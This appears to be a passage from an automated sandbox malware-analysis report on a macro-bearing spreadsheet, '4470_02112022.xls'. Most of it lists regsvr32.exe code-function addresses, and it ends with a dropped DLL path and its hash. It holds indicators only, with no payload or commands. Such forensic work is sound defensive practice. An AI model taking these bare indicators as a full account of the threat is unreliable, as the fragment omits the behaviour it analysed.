Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018001FDF4	9_2_000000018001FDF4
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800043F4	9_2_00000001800043F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000C3F4	9_2_000000018000C3F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018001D7F8	9_2_000000018001D7F8
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018001DC00	9_2_000000018001DC00
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000C800	9_2_000000018000C800
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018001EC08	9_2_000000018001EC08
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000F60C	9_2_000000018000F60C
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018002B814	9_2_000000018002B814
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180007418	9_2_0000000180007418
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018001E61C	9_2_000000018001E61C
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000421C	9_2_000000018000421C
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180007620	9_2_0000000180007620
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000BE20	9_2_000000018000BE20
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180017824	9_2_0000000180017824
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180003824	9_2_0000000180003824
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180023228	9_2_0000000180023228
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180010628	9_2_0000000180010628
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018001DE2C	9_2_000000018001DE2C
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000A42C	9_2_000000018000A42C
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000E42C	9_2_000000018000E42C
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018001CA34	9_2_000000018001CA34
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018001DA34	9_2_000000018001DA34
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180028C38	9_2_0000000180028C38
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018001EA38	9_2_000000018001EA38
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018002803C	9_2_000000018002803C
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018002B23C	9_2_000000018002B23C
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180011C3C	9_2_0000000180011C3C
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180023840	9_2_0000000180023840
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018002A244	9_2_000000018002A244
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180027448	9_2_0000000180027448
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180023E4C	9_2_0000000180023E4C
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180001650	9_2_0000000180001650
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000D250	9_2_000000018000D250
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018001B058	9_2_000000018001B058
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018002765C	9_2_000000018002765C
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000145C	9_2_000000018000145C
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000EE5C	9_2_000000018000EE5C
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180013A60	9_2_0000000180013A60
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180027A68	9_2_0000000180027A68
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180002A6C	9_2_0000000180002A6C
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018002AA74	9_2_000000018002AA74
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180014274	9_2_0000000180014274
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180017E74	9_2_0000000180017E74
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018002AC7C	9_2_000000018002AC7C
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000D87C	9_2_000000018000D87C
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180002480	9_2_0000000180002480
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000FE84	9_2_000000018000FE84
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180020490	9_2_0000000180020490
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180029094	9_2_0000000180029094
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800098AC	9_2_00000001800098AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800164B0	9_2_00000001800164B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800168B0	9_2_00000001800168B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180026AB8	9_2_0000000180026AB8
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800184BC	9_2_00000001800184BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800190BC	9_2_00000001800190BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800056BC	9_2_00000001800056BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018002B6C0	9_2_000000018002B6C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180017CC0	9_2_0000000180017CC0
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180009AC0	9_2_0000000180009AC0
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018002B0C4	9_2_000000018002B0C4
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018001C6CC	9_2_000000018001C6CC
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800072CC	9_2_00000001800072CC
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180026CD0	9_2_0000000180026CD0
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180020ED4	9_2_0000000180020ED4
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000BCD8	9_2_000000018000BCD8
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800116DC	9_2_00000001800116DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180006ADC	9_2_0000000180006ADC
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800114E0	9_2_00000001800114E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800166E8	9_2_00000001800166E8
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800154EC	9_2_00000001800154EC
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800040EC	9_2_00000001800040EC
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800012F0	9_2_00000001800012F0
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800288F8	9_2_00000001800288F8
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800036FC	9_2_00000001800036FC
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018001FD00	9_2_000000018001FD00
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000D704	9_2_000000018000D704
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000FB04	9_2_000000018000FB04
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018001E30C	9_2_000000018001E30C
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180015714	9_2_0000000180015714
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018002A518	9_2_000000018002A518
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180021918	9_2_0000000180021918
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180004918	9_2_0000000180004918
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018001531C	9_2_000000018001531C
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000A31C	9_2_000000018000A31C
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180020D20	9_2_0000000180020D20
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000E720	9_2_000000018000E720
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018001A524	9_2_000000018001A524
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000D52C	9_2_000000018000D52C
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180024F30	9_2_0000000180024F30
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000C930	9_2_000000018000C930
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180025938	9_2_0000000180025938
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000F138	9_2_000000018000F138
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000E93C	9_2_000000018000E93C
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180027344	9_2_0000000180027344
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180001744	9_2_0000000180001744
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018001D150	9_2_000000018001D150
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180004B50	9_2_0000000180004B50
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180010D54	9_2_0000000180010D54
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180022158	9_2_0000000180022158
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180015958	9_2_0000000180015958
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018002B55C	9_2_000000018002B55C
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180029360	9_2_0000000180029360
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180018764	9_2_0000000180018764
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180028768	9_2_0000000180028768
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180017B68	9_2_0000000180017B68
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018001A170	9_2_000000018001A170
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180003970	9_2_0000000180003970
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180004D70	9_2_0000000180004D70
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180010F74	9_2_0000000180010F74
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180018F80	9_2_0000000180018F80
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180024D84	9_2_0000000180024D84
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018002A784	9_2_000000018002A784
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180016F84	9_2_0000000180016F84
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018002358C	9_2_000000018002358C
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180028F8C	9_2_0000000180028F8C
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180029590	9_2_0000000180029590
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180021594	9_2_0000000180021594
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180011194	9_2_0000000180011194
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180029198	9_2_0000000180029198
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000A198	9_2_000000018000A198
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018002539C	9_2_000000018002539C
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800033A8	9_2_00000001800033A8
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800247AC	9_2_00000001800247AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800233B0	9_2_00000001800233B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800243B8	9_2_00000001800243B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180027DB8	9_2_0000000180027DB8
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800027B8	9_2_00000001800027B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180026FBC	9_2_0000000180026FBC
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180006BBC	9_2_0000000180006BBC
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018001B5C4	9_2_000000018001B5C4
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800031C4	9_2_00000001800031C4
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180012FC8	9_2_0000000180012FC8
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018001FFD8	9_2_000000018001FFD8
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018001FBD8	9_2_000000018001FBD8
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800117E0	9_2_00000001800117E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000C1E0	9_2_000000018000C1E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_002E0000	10_2_002E0000
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180025C1C	10_2_0000000180025C1C
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180015E70	10_2_0000000180015E70
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018002AC7C	10_2_000000018002AC7C
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018000DC7C	10_2_000000018000DC7C
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180008688	10_2_0000000180008688
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_00000001800078B4	10_2_00000001800078B4
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_00000001800058C0	10_2_00000001800058C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_00000001800018F0	10_2_00000001800018F0
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_00000001800132FC	10_2_00000001800132FC
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180009D2C	10_2_0000000180009D2C
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180022334	10_2_0000000180022334
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180002D54	10_2_0000000180002D54
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180003B78	10_2_0000000180003B78
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018001A788	10_2_000000018001A788
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018001D5B0	10_2_000000018001D5B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_00000001800143B4	10_2_00000001800143B4
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018001FDF4	10_2_000000018001FDF4
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_00000001800043F4	10_2_00000001800043F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018000C3F4	10_2_000000018000C3F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018001D7F8	10_2_000000018001D7F8
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018001DC00	10_2_000000018001DC00
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018000C800	10_2_000000018000C800
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018001EC08	10_2_000000018001EC08
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018000F60C	10_2_000000018000F60C
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018002B814	10_2_000000018002B814
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180007418	10_2_0000000180007418
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018001E61C	10_2_000000018001E61C
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018000421C	10_2_000000018000421C
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180007620	10_2_0000000180007620
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018000BE20	10_2_000000018000BE20
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180017824	10_2_0000000180017824
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180003824	10_2_0000000180003824
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180023228	10_2_0000000180023228
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180010628	10_2_0000000180010628
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018001DE2C	10_2_000000018001DE2C
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018000A42C	10_2_000000018000A42C
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018000E42C	10_2_000000018000E42C
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018001CA34	10_2_000000018001CA34
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018001DA34	10_2_000000018001DA34
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180028C38	10_2_0000000180028C38
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018001EA38	10_2_000000018001EA38
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018002803C	10_2_000000018002803C
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018002B23C	10_2_000000018002B23C
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180011C3C	10_2_0000000180011C3C
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180023840	10_2_0000000180023840
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018002A244	10_2_000000018002A244
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180027448	10_2_0000000180027448
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180023E4C	10_2_0000000180023E4C
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180019C4C	10_2_0000000180019C4C
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180001650	10_2_0000000180001650
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018000D250	10_2_000000018000D250
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018001B058	10_2_000000018001B058
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018002765C	10_2_000000018002765C
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018000145C	10_2_000000018000145C
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018000EE5C	10_2_000000018000EE5C
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180013A60	10_2_0000000180013A60
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180027A68	10_2_0000000180027A68
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180002A6C	10_2_0000000180002A6C
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018002AA74	10_2_000000018002AA74
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180014274	10_2_0000000180014274
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180017E74	10_2_0000000180017E74
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018000D87C	10_2_000000018000D87C
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180002480	10_2_0000000180002480
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018000FE84	10_2_000000018000FE84
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180020490	10_2_0000000180020490
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180029094	10_2_0000000180029094
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_00000001800098AC	10_2_00000001800098AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_00000001800164B0	10_2_00000001800164B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_00000001800168B0	10_2_00000001800168B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180026AB8	10_2_0000000180026AB8
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_00000001800184BC	10_2_00000001800184BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_00000001800190BC	10_2_00000001800190BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_00000001800056BC	10_2_00000001800056BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018002B6C0	10_2_000000018002B6C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180017CC0	10_2_0000000180017CC0
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180009AC0	10_2_0000000180009AC0
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018002B0C4	10_2_000000018002B0C4
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018001C6CC	10_2_000000018001C6CC
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_00000001800072CC	10_2_00000001800072CC
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180026CD0	10_2_0000000180026CD0
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180020ED4	10_2_0000000180020ED4
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018000BCD8	10_2_000000018000BCD8
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_00000001800116DC	10_2_00000001800116DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180006ADC	10_2_0000000180006ADC
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_00000001800114E0	10_2_00000001800114E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_00000001800166E8	10_2_00000001800166E8
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_00000001800154EC	10_2_00000001800154EC
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_00000001800040EC	10_2_00000001800040EC
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_00000001800012F0	10_2_00000001800012F0
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_00000001800288F8	10_2_00000001800288F8
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_00000001800036FC	10_2_00000001800036FC
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018001FD00	10_2_000000018001FD00
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018000D704	10_2_000000018000D704
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018000FB04	10_2_000000018000FB04
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018001E30C	10_2_000000018001E30C
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180015714	10_2_0000000180015714
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018002A518	10_2_000000018002A518
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180021918	10_2_0000000180021918
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180004918	10_2_0000000180004918
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018001531C	10_2_000000018001531C
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018000A31C	10_2_000000018000A31C
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180020D20	10_2_0000000180020D20
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018000E720	10_2_000000018000E720
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018001A524	10_2_000000018001A524
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018000D52C	10_2_000000018000D52C
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180024F30	10_2_0000000180024F30
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018000C930	10_2_000000018000C930
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180025938	10_2_0000000180025938
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018000F138	10_2_000000018000F138
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018000E93C	10_2_000000018000E93C
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180027344	10_2_0000000180027344
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180001744	10_2_0000000180001744
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018001D150	10_2_000000018001D150
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180004B50	10_2_0000000180004B50
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180010D54	10_2_0000000180010D54
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180022158	10_2_0000000180022158
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180015958	10_2_0000000180015958
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018002B55C	10_2_000000018002B55C
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180029360	10_2_0000000180029360
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180018764	10_2_0000000180018764
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180028768	10_2_0000000180028768
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180017B68	10_2_0000000180017B68
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018001A170	10_2_000000018001A170
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180003970	10_2_0000000180003970
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180004D70	10_2_0000000180004D70
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180010F74	10_2_0000000180010F74
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180018F80	10_2_0000000180018F80
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180024D84	10_2_0000000180024D84
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018002A784	10_2_000000018002A784
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180016F84	10_2_0000000180016F84
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018002358C	10_2_000000018002358C
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180028F8C	10_2_0000000180028F8C
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180029590	10_2_0000000180029590
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180021594	10_2_0000000180021594
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180011194	10_2_0000000180011194
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180029198	10_2_0000000180029198
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018000A198	10_2_000000018000A198
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018002539C	10_2_000000018002539C
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_00000001800033A8	10_2_00000001800033A8
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_00000001800247AC	10_2_00000001800247AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_00000001800233B0	10_2_00000001800233B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_00000001800243B8	10_2_00000001800243B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180027DB8	10_2_0000000180027DB8
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_00000001800027B8	10_2_00000001800027B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180026FBC	10_2_0000000180026FBC
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180006BBC	10_2_0000000180006BBC
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018001B5C4	10_2_000000018001B5C4
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_00000001800031C4	10_2_00000001800031C4
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180012FC8	10_2_0000000180012FC8
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018001FFD8	10_2_000000018001FFD8
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018001FBD8	10_2_000000018001FBD8
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_00000001800117E0	10_2_00000001800117E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018000C1E0	10_2_000000018000C1E0

Source: 4470_02112022.xls	Macro extractor: Sheet name: Sheet6
Source: 4470_02112022.xls	Macro extractor: Sheet name: Sheet6

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\40hd04O0[1].dll FB9AB8EFA3269F359F9010AECC543E992705E900CC11B02DBDFB1C6572A5500A
